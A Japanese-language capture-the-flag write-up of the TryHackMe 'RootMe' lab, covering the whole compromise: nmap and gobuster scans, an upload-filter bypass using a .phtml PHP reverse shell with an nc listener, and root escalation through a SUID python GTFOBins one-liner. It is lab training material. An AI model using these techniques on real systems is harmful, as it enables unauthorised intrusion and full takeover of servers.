[Try Hach Me]RootMe
Scan the machine, how many ports are open?
What version of Apache is running?
What service is running on port 22?
バージョン情報を取得するためnmapのオプションにsVを指定する。
nmap -sV -p- --min-rate 5000 10.10.229.194
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p- --min-rate 5000 10.10.229.194
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-23 21:44 JST
Warning: 10.10.229.194 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.229.194
Host is up (0.26s latency).
Not shown: 64397 closed tcp ports (conn-refused), 1136 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.07 seconds
Find directories on the web server using the GoBuster tool.
What is the hidden directory?
gobusterで隠しディレクトリを探す。
ワードリストは/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
を使った。
gobuster dir -u 10.10.229.194 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u 10.10.229.194 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.229.194
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads (Status: 301) [Size: 316] [--> http://10.10.229.194/uploads/]
/css (Status: 301) [Size: 312] [--> http://10.10.229.194/css/]
/js (Status: 301) [Size: 311] [--> http://10.10.229.194/js/]
/panel (Status: 301) [Size: 314] [--> http://10.10.229.194/panel/]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================
Find a form to upload and get a reverse shell, and find the flag.
ブラウザでhttp://10.10.229.194/panel/
にアクセスするとファイルのアップロード画面が表示された。
適当なファイルをアップロードした。
そのあと、http://10.10.229.194/uploads/
にアクセスするとアップロードしたファイルが一覧に表示された。
ヒントはSearch for "file upload bypass" and "PHP reverse shell".
だった。
PHP reverse shellというのはこれのこと(/usr/share/webshells/php/php-reverse-shell.php
と同一)。
ncコマンドでローカルサーバを立ち上げListenする。ポートは1234とする。
┌──(kali㉿kali)-[/usr/share/webshells/php]
└─$ nc -v -n -l -p 1234
listening on [any] 1234 ...
php-reverse-shell.phpの以下をローカルマシンのIP、Listenしているポートに書き換え、/panel/からアップロードする。
しようとしたが、phpファイルのアップロードは制限されているみたい。
いろいろ試したが、phtmlでうまくいった。
┌──(kali㉿kali)-[/usr/share/webshells/php]
└─$ nc -v -n -l -p 1234
listening on [any] 1234 ...
connect to [10.8.120.61] from (UNKNOWN) [10.10.118.161] 50132
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
14:47:06 up 21 min, 0 users, load average: 0.00, 0.02, 0.16
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ pwd
/
$ ls
bin
boot
cdrom
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
swap.img
sys
tmp
usr
var
vmlinuz
vmlinuz.old
user.txt
を探したところ./var/www/user.txt
があり、中にフラグが書かれていた。
$ find . -name user.txt
.
.
.
./var/www/user.txt
.
.
.
Search for files with SUID permission, which file is weird?
find / -user root -perm /4000
permオプションについては以下参照。
$ find / -user root -perm /4000
.
.
.
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
.
.
.
/snap/core/8268/bin/mount
/snap/core/8268/bin/ping
/snap/core/8268/bin/ping6
/snap/core/8268/bin/su
/snap/core/8268/bin/umount
.
.
.
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/8268/usr/lib/openssh/ssh-keysign
/snap/core/8268/usr/lib/snapd/snap-confine
/snap/core/8268/usr/sbin/pppd
.
.
.
/snap/core/9665/bin/mount
/snap/core/9665/bin/ping
/snap/core/9665/bin/ping6
/snap/core/9665/bin/su
/snap/core/9665/bin/umount
.
.
.
/snap/core/9665/usr/bin/chfn
/snap/core/9665/usr/bin/chsh
/snap/core/9665/usr/bin/gpasswd
/snap/core/9665/usr/bin/newgrp
/snap/core/9665/usr/bin/passwd
/snap/core/9665/usr/bin/sudo
/snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/9665/usr/lib/openssh/ssh-keysign
/snap/core/9665/usr/lib/snapd/snap-confine
/snap/core/9665/usr/sbin/pppd
.
.
.
/bin/mount
/bin/su
/bin/fusermount
/bin/ping
/bin/umount
/usr/bin/python
の所有者がrootかつSUIDが付与されているため、こいつを実行したらrootとしてふるまうことができる。
GTFOBinsでPythonを検索し、SUIDが設定されていた場合のコマンドpython -c 'import os; os.execl("/bin/sh", "sh", "-p")'
を実行する。
$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
whoami
root
find / -name root.txt 2> /dev/null
/root/root.txt
cat /root/root.txt